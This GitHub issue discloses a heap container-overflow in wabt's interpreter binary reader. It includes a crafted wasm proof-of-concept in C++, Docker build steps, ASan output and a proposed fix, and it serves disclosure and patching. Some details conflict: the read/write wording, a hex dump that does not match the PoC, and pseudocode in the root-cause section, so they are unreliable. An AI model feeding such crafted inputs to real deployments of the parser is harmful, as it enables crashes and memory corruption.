Skip to content

OOB read in wabt Interpreter Binary Reader #2747

Description

@LuiginoC

Summary

When wabt's interpreter reads a crafted WebAssembly binary, the Function section
callback (OnFunctionCount) calls funcs_.reserve(N) to pre-allocate capacity
for N FuncDesc elements but does not resize the vector — so
funcs_.size() remains 0 while funcs_.capacity() is N.

The Code section callback (BeginFunctionBody) then writes directly into
funcs_[func_index] using the index from the binary. Because the write lands
within the allocated heap block but past the vector's logical end, ASan reports a
container-overflow (shadow byte 0xfc).

A malformed wasm input can trigger this with a Code section that either:

  • declares more function bodies than the Function section declared functions, or
  • simply triggers BeginFunctionBody with any func_index when the vector size
    has not yet been bumped to match.

The vulnerability is reachable from the public wabt::interp::ReadBinaryInterp
API with fully attacker-controlled input and requires no special privileges.

The 128-byte heap block holds 4 FuncDesc slots (reserve was called with
count = 4). The write at offset 96 = index 3, but funcs_.size() is 0, so
all four slots are in the "container overflow" poisoned region (0xfc).


Hex dump:

000000  00 61 73 6d 01 00 00 00  01 04 01 60 01 00 03 02  .asm.......`....
000010  01 00 08 01 00 0a 06 01  04 00 01 01 00 00 01 04  ................
000020  01 60 73 6d 01 00 00 00  01 04 01 60 00 00 03 02  .`sm.......`....
000030  01 00 08 01 00 0a 06 01  04 00 01 01 00 00 03 02  ................
000040  01 00 08 01 00 0a                                 ......

Key structure visible in the leading bytes (the FuzzedDataProvider consumes
feature-flag bits from the tail of the buffer, leaving the \0asm header
intact at the front):

Offset Bytes Meaning
0x00 00 61 73 6d wasm magic \0asm
0x04 01 00 00 00 wasm version 1
0x08 01 04 ... Type section (section id=1)
0x0e 03 02 01 00 Function section: declares 1 function
0x12 08 01 00 Start section: function index 0
0x15 0a 06 01 ... Code section: function body count mismatched

The crafted binary deliberately creates a mismatch between the count in the
Function section and the bodies in the Code section, triggering the
out-of-bounds write via BeginFunctionBody.


Standalone Reproduction Steps

Prerequisites

  • Docker installed and running
  • gcr.io/oss-fuzz/wabt image available (pull or use locally cached copy)

Step 1 — Save the PoC source

Save the following file as /tmp/poc_wabt_container_overflow.cc:

// Standalone PoC for wabt container-overflow in BinaryReaderInterp::BeginFunctionBody
//
// Root cause:
//   OnFunctionCount(N)  -> module_.funcs.reserve(N)  [size stays 0]
//   OnFunction(i, bad)  -> validator_.OnFunction() FAILS -> CHECK_RESULT early-returns
//                          push_back is never reached  [size still 0]
//   BeginFunctionBody(0)-> module_.funcs[0] written    [container-overflow: size=0, capacity=N]
//
// The crafted wasm has no Type section, so the function referencing type index 0
// fails the validator. With stop_on_first_error=false the reader presses on into
// the Code section and writes to the uninitialized funcs slot.

#include <cstdint>
#include <cstdio>
#include <vector>

#include "wabt/binary-reader.h"
#include "wabt/error.h"
#include "wabt/feature.h"
#include "wabt/interp/binary-reader-interp.h"
#include "wabt/interp/interp.h"

// Minimal malformed wasm binary (18 bytes):
//
//   00 61 73 6d 01 00 00 00   wasm magic + version 1
//   03 02 01 00               Function section (id=3, size=2):
//                               count=1, type_index=0
//                               (invalid: no Type section -> validator rejects it,
//                                OnFunction early-returns without push_back)
//   0a 04 01 02 00 0b         Code section (id=10, size=4):
//                               1 body, body_size=2, 0 locals, `end` opcode
//                               BeginFunctionBody(0) -> module_.funcs[0] -> CRASH
static const uint8_t kPoC[] = {
    // wasm header
    0x00, 0x61, 0x73, 0x6d,   // magic: \0asm
    0x01, 0x00, 0x00, 0x00,   // version: 1

    // Function section (id=3): 1 function referencing type index 0
    // No Type section exists, so type 0 is invalid -> validator rejects OnFunction
    // -> push_back never executes -> module_.funcs.size() stays 0
    0x03, 0x02,               // section id=3, payload size=2
    0x01,                     // function count = 1
    0x00,                     // type index = 0 (undefined: no Type section)

    // Code section (id=10): 1 body
    // BeginFunctionBody(defined_index=0) accesses module_.funcs[0]
    // capacity=1 (from reserve), size=0 -> container-overflow
    0x0a, 0x04,               // section id=10, payload size=4
    0x01,                     // body count = 1
    0x02,                     // body size = 2 bytes
    0x00,                     // local declaration count = 0
    0x0b,                     // end opcode
};

int main(void) {
    wabt::Features features;
    wabt::ReadBinaryOptions options(
        features,
        /*log_stream=*/nullptr,
        /*read_debug_names=*/false,
        /*stop_on_first_error=*/false,
        /*fail_on_custom_section_error=*/false
    );

    wabt::Errors errors;
    wabt::interp::ModuleDesc module_desc;

    fprintf(stderr, "[poc] calling ReadBinaryInterp with %zu-byte crafted wasm\n",
            sizeof(kPoC));

    wabt::Result result = wabt::interp::ReadBinaryInterp(
        "<poc>", kPoC, sizeof(kPoC), options, &errors, &module_desc);

    // Should not be reached — ASan aborts in BeginFunctionBody
    fprintf(stderr, "[poc] returned (result=%d) — crash did not fire\n",
            static_cast<int>(result));
    return 0;
}

Step 2 — Build inside the OSS-Fuzz Docker container

docker run --rm \
  -v /tmp:/out \
  gcr.io/oss-fuzz/wabt \
  /bin/bash -c "
    cd /src/wabt &&
    mkdir -p build && cd build &&
    cmake .. -DCMAKE_BUILD_TYPE=Release > /dev/null 2>&1 &&
    cmake --build . --parallel > /dev/null 2>&1 &&
    cd /src/wabt &&
    \$CXX \$CXXFLAGS -fsanitize=address -std=c++17 \
      -I. -Ibuild -Iinclude -Ibuild/include \
      /out/poc_wabt_container_overflow.cc \
      /usr/local/lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.fuzzer_no_main.a \
      ./build/libwabt.a \
      -o /out/poc_wabt_container_overflow &&
    echo 'Build OK'
  "

Step 3 — Run

docker run --rm \
  -v /tmp:/out \
  gcr.io/oss-fuzz/wabt \
  /out/poc_wabt_container_overflow

Expected Output

[poc] calling ReadBinaryInterp with 18-byte crafted wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x... bp 0x000000000002 ...)
==1==The signal is caused by a READ memory access.
    #0  wabt::interp::(anonymous namespace)::BinaryReaderInterp::EndLocalDecls()
            /src/wabt/src/interp/binary-reader-interp.cc:946:19
    #1  wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long)
            /src/wabt/src/binary-reader.cc:3053:7
    #2  wabt::(anonymous namespace)::BinaryReader::ReadSections(...)
            /src/wabt/src/binary-reader.cc:3208:26
    #3  wabt::ReadBinary(...)
            /src/wabt/src/binary-reader.cc:3304:17
    #4  wabt::interp::ReadBinaryInterp(...)
            /src/wabt/src/interp/binary-reader-interp.cc:1824:10
    #5  main
            /out/poc_wabt_container_overflow.cc:85:27
    Register values:
    rdi = 0xbebebebebebebebe   <- ASan poison for uninitialized heap
    rsi = 0xbebebebebebebebe
SUMMARY: AddressSanitizer: SEGV
         /src/wabt/src/interp/binary-reader-interp.cc:946:19
         in wabt::interp::(anonymous namespace)::BinaryReaderInterp::EndLocalDecls()
==1==ABORTING

The container exits with a non-zero code (SIGABRT via ASan).


Root Cause Analysis

In src/interp/binary-reader-interp.cc:

// ~line 621 — called when the Function section is parsed:
Result OnFunctionCount(Index count) override {
    funcs_.reserve(count);   // <-- reserves heap capacity, but size() stays 0
    return Result::Ok;
}

// ~line 883 — called for each body entry in the Code section:
Result BeginFunctionBody(Index index, Offset size) override {
    funcs_[index].xxx = ...;  // <-- direct subscript; size() is still 0
    return Result::Ok;
}

std::vector::reserve only commits heap capacity; the elements are not
constructed and size() is unchanged. A subsequent direct subscript access
(funcs_[index]) therefore writes into the reserved-but-uninitialized heap
region, which ASan poisons with shadow byte 0xfc (container overflow).

The minimal fix is to use funcs_.resize(count) in OnFunctionCount instead
of reserve, ensuring size() matches the expected count before
BeginFunctionBody indexes into the vector. An alternative is to use
emplace_back / push_back in BeginFunctionBody and bounds-check the
resulting index.

credit: Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions